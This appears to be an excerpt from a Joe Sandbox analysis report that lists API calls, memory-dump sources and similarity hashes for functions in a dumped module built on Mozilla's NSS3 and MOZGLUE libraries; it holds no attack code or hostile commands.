EnterCriticalSection.KERNEL32(?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C9F8887
PR_Unlock.NSS3(?,?,?,?,6CA0085A,00000000,?,6C9A8369,?), ref: 6C9F8899

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: e4b564911434f009f0a4c3345c4367164ae820b427895c085a1efec2a109d4ed
Instruction ID: fafcce5df81535fbafc3da48c8086cfc3104bca067dc7a2ccb838d9be4c172cc
Opcode Fuzzy Hash: e4b564911434f009f0a4c3345c4367164ae820b427895c085a1efec2a109d4ed
Instruction Fuzzy Hash: 022174B4A047098FDB04AF79C884159BBB8FF16318F1446AADD7497601E730D496CB96

Function 6C9C28A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C9B80DD), ref: 6C9C28BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C9B80DD), ref: 6C9C28D3
PR_Unlock.NSS3(?,?,?,?,?,6C9B80DD), ref: 6C9C28E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C9B80DD), ref: 6C9C290E
free.MOZGLUE(?,?,?,?,?,?,6C9B80DD), ref: 6C9C291A

Part of subcall function 6C9B9270: DeleteCriticalSection.KERNEL32(?,?,6C9C5089,?,6C9C3B70,?,?,?,?,?,6C9C5089,6C9BF39B,00000000), ref: 6C9B927F
Part of subcall function 6C9B9270: free.MOZGLUE(?,?,6C9C3B70,?,?,?,?,?,6C9C5089,6C9BF39B,00000000), ref: 6C9B9286
Part of subcall function 6C9B9270: PL_HashTableDestroy.NSS3(?,6C9C3B70,?,?,?,?,?,6C9C5089,6C9BF39B,00000000), ref: 6C9B9292

Part of subcall function 6C9B8B50: TlsGetValue.KERNEL32(00000000,?,6C9C0948,00000000), ref: 6C9B8B6B
Part of subcall function 6C9B8B50: EnterCriticalSection.KERNEL32(?,?,?,6C9C0948,00000000), ref: 6C9B8B80
Part of subcall function 6C9B8B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C9C0948,00000000), ref: 6C9B8B8F
Part of subcall function 6C9B8B50: PR_Unlock.NSS3(?,?,?,?,6C9C0948,00000000), ref: 6C9B8BA1
Part of subcall function 6C9B8B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C9C0948,00000000), ref: 6C9B8BAC
Part of subcall function 6C9B8B50: free.MOZGLUE(?,?,?,?,?,6C9C0948,00000000), ref: 6C9B8BB8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 7105563a143112c614adafae505be92d3e16d5d08ba14664eb11b2a6dad4b2cc
Instruction ID: 645a3a2f37693175286244dbbcf30aeded9e05fc55c6df363941a2fa24bc7f4e
Opcode Fuzzy Hash: 7105563a143112c614adafae505be92d3e16d5d08ba14664eb11b2a6dad4b2cc
Instruction Fuzzy Hash: A4213EB5A04B069BDB00BF78C588459BBF4FF15314F054969DC9497B00E734E899CB92

Function 6C9FF860 Relevance: 7.6, APIs: 5, Instructions: 65memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9FF893

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C9B66A0), ref: 6C9FF8AA

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9FF8B9

Part of subcall function 6CA01200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA01228
Part of subcall function 6CA01200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CA01238
Part of subcall function 6CA01200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0124B
Part of subcall function 6CA01200: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,00000000,00000000,00000000,?,6C9A88A4,00000000,00000000), ref: 6CA0125D
Part of subcall function 6CA01200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CA0126F
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CA01280
Part of subcall function 6CA01200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CA0128E
Part of subcall function 6CA01200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CA0129A
Part of subcall function 6CA01200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CA012A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C9FF8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CAD18E0), ref: 6C9FF905

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: eb3d032e30cc595594e29501e98892d0bf9a6ba45015faade07619039729012a
Instruction ID: 6c0634feefdc4174fb35cc77e3053a81d3ba702693565f26a1c6b87d1476325d
Opcode Fuzzy Hash: eb3d032e30cc595594e29501e98892d0bf9a6ba45015faade07619039729012a
Instruction Fuzzy Hash: 35112772E003046BE3009F25AD41BBB7BE8AF9568CF014168F96487741FB31D549C3E2

Function 6C9909E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C9906A2,00000000,?), ref: 6C9909F8
malloc.MOZGLUE(0000001F), ref: 6C990A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C990A33

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_Free.NSS3(?), ref: 6C990A6C
PR_Free.NSS3(?), ref: 6C990A87

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 59cb4fa429f44dc7399054895bcd20705a507b016d266addf5007ea5be973003
Instruction ID: b16cfa2a160f24cf6f7b9d5b07c9347570f1784866174368c6bb5dfd92e817df
Opcode Fuzzy Hash: 59cb4fa429f44dc7399054895bcd20705a507b016d266addf5007ea5be973003
Instruction Fuzzy Hash: 6D1124B19027818BE7109F29CA88652B7BCFF19358F48692AD82A42E10E730F498C7D0

Function 6C9B8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C9C0710), ref: 6C9B8FF1
PR_CallOnce.NSS3(6CB02158,6C9B9150,00000000,?,?,?,6C9B9138,?,6C9C0710), ref: 6C9B9029
calloc.MOZGLUE(00000001,00000000,?,?,6C9C0710), ref: 6C9B904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C9C0710), ref: 6C9B9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C9C0710), ref: 6C9B9078

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 30be14bcbbe5d1f8e50500464cf3ebd1034d7dbb979d1026b83045e2ec1010bc
Instruction ID: 9ccb2a3793f5f0ff0c4804c4c7363b3dcb206f51fff6e68e1e847d4e8c9d1fbe
Opcode Fuzzy Hash: 30be14bcbbe5d1f8e50500464cf3ebd1034d7dbb979d1026b83045e2ec1010bc
Instruction Fuzzy Hash: B2114821721111B7E7201A6DAC44A6736BCEBB27ACF110035FC44E6B80F732CD5583E1

Function 6C9CCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C9E1E10: TlsGetValue.KERNEL32 ref: 6C9E1E36
Part of subcall function 6C9E1E10: EnterCriticalSection.KERNEL32(?,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9E1E4B
Part of subcall function 6C9E1E10: PR_Unlock.NSS3 ref: 6C9E1E76

free.MOZGLUE(?,6C9CD079,00000000,00000001), ref: 6C9CCDA5
PK11_FreeSymKey.NSS3(?,6C9CD079,00000000,00000001), ref: 6C9CCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C9CD079,00000000,00000001), ref: 6C9CCDCF
DeleteCriticalSection.KERNEL32(?,6C9CD079,00000000,00000001), ref: 6C9CCDE2
free.MOZGLUE(?), ref: 6C9CCDE9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: cac7e5a14df60777767d91817e1b64bc5cd40083b71f846705434a031bfb3806
Instruction ID: 5d96abd9359c6f75c11c52e20a888ea70d8e733a8c734b57f5852657936d16c5
Opcode Fuzzy Hash: cac7e5a14df60777767d91817e1b64bc5cd40083b71f846705434a031bfb3806
Instruction Fuzzy Hash: B511A0B2B01216ABEB00AB65EC44A96BB7DBF1425C7104121E91987E01E732F475C7E2

Function 6CA0D9A0 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

SEC_PKCS7DecoderStart.NSS3 ref: 6CA0D9C5

Part of subcall function 6CA0D430: PORT_NewArena_Util.NSS3(00000400), ref: 6CA0D43B
Part of subcall function 6CA0D430: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CA0D452
Part of subcall function 6CA0D430: PORT_ZAlloc_Util.NSS3(00000044), ref: 6CA0D48D
Part of subcall function 6CA0D430: PORT_NewArena_Util.NSS3(00000400), ref: 6CA0D4A0

SEC_PKCS7DecoderUpdate.NSS3(00000000,?,?), ref: 6CA0D9DD

Part of subcall function 6CA0D8A0: PR_GetCurrentThread.NSS3 ref: 6CA0D8D0
Part of subcall function 6CA0D8A0: SEC_PKCS7DestroyContentInfo.NSS3(00000000), ref: 6CA0D905
Part of subcall function 6CA0D8A0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA0D921

SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CA0D9FC

Part of subcall function 6CA0C6E0: SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6CA071CF,?), ref: 6CA0C70F
Part of subcall function 6CA0C6E0: CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA071CF,?), ref: 6CA0C811
Part of subcall function 6CA0C6E0: CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA071CF,?), ref: 6CA0C841
Part of subcall function 6CA0C6E0: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA0C855
Part of subcall function 6CA0C6E0: PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CA071CF,?), ref: 6CA0C868

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA0DA1B
free.MOZGLUE(00000000), ref: 6CA0DA24

Part of subcall function 6C9FDD00: PR_SetError.NSS3(FFFFE009,00000000,?,-00000001,?,6CA06CD3,?), ref: 6C9FDD1B
Part of subcall function 6C9FDD00: PORT_FreeArena_Util.NSS3(6CA06CD3,00000001,?,-00000001,?,6CA06CD3,?), ref: 6C9FDD2A

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena_$DestroyFree$Alloc_CertificateContentDecoderErrorInfo$ArenaCurrentFindStartThreadUpdatefree
String ID:
API String ID: 2712268329-0
Opcode ID: 3a6676313f7688522182b900b9341f2708577fbb35f99b09d0f2491f1cf149a1
Instruction ID: ba02a41ff93b51aa4ad0ca207593f9e0fa41ed6054b881a4b0fd763b54e7a659
Opcode Fuzzy Hash: 3a6676313f7688522182b900b9341f2708577fbb35f99b09d0f2491f1cf149a1
Instruction Fuzzy Hash: 9411C676F042045BE710EF29BD05A9AB7E8AF9468CF094038FC58D3711E731E598C7A2

Function 6CA32CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA32CEC

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA32D02
PR_EnterMonitor.NSS3(?), ref: 6CA32D1F
PR_ExitMonitor.NSS3(?), ref: 6CA32D42
PR_ExitMonitor.NSS3(?), ref: 6CA32D5B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 0c06bd8677a9cec20405203f4a86ad1f4893207a5f2f2381f6532e53699514fc
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 110108B19002105BEA719F3AFC45BC7B3A1EF45358F005625E85EC6B11E632F85987D2

Function 6CA32D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA32D9C

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_EnterMonitor.NSS3(?), ref: 6CA32DB2
PR_EnterMonitor.NSS3(?), ref: 6CA32DCF
PR_ExitMonitor.NSS3(?), ref: 6CA32DF2
PR_ExitMonitor.NSS3(?), ref: 6CA32E0B

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 672842717fe2170520ae6283b64a7f9493503fb5c50656b1e8c279e140e7ac37
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 8901C8B19002105BE6309F3AFD05BC7B7B1EF45358F045535E85EC6B11D632F85986D2

Function 6C9CAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9CAE42), ref: 6C9B30AA
Part of subcall function 6C9B3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B30C7
Part of subcall function 6C9B3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C9B30E5
Part of subcall function 6C9B3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9B3116
Part of subcall function 6C9B3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C9B312B
Part of subcall function 6C9B3090: PK11_DestroyObject.NSS3(?,?), ref: 6C9B3154
Part of subcall function 6C9B3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C9A99FF,?,?,?,?,?,?,?,?,?,6C9A2D6B,?), ref: 6C9CAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C9A99FF,?,?,?,?,?,?,?,?,?,6C9A2D6B,?), ref: 6C9CAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9CAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9CAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?), ref: 6C9CAEA3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 04fd82d561d2d3f1cc4168cc4b33665fd1f3632e51e5537cd1074105316eaf2a
Instruction ID: b3aec7e9dd2901b733d927f4dddfa99d5c78f6a8a2c445676990fb4f6fa164f0
Opcode Fuzzy Hash: 04fd82d561d2d3f1cc4168cc4b33665fd1f3632e51e5537cd1074105316eaf2a
Instruction Fuzzy Hash: 8D01C866B4451067E701926CAC99AEF31988BB765CF080431E906D7B41FE25DE1543E3

Function 6CABBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBDC3
free.MOZGLUE(?,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBDE9
free.MOZGLUE(?,00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBE21
free.MOZGLUE(00000000,00000000,?,6CAB7AFE,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABBE32

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

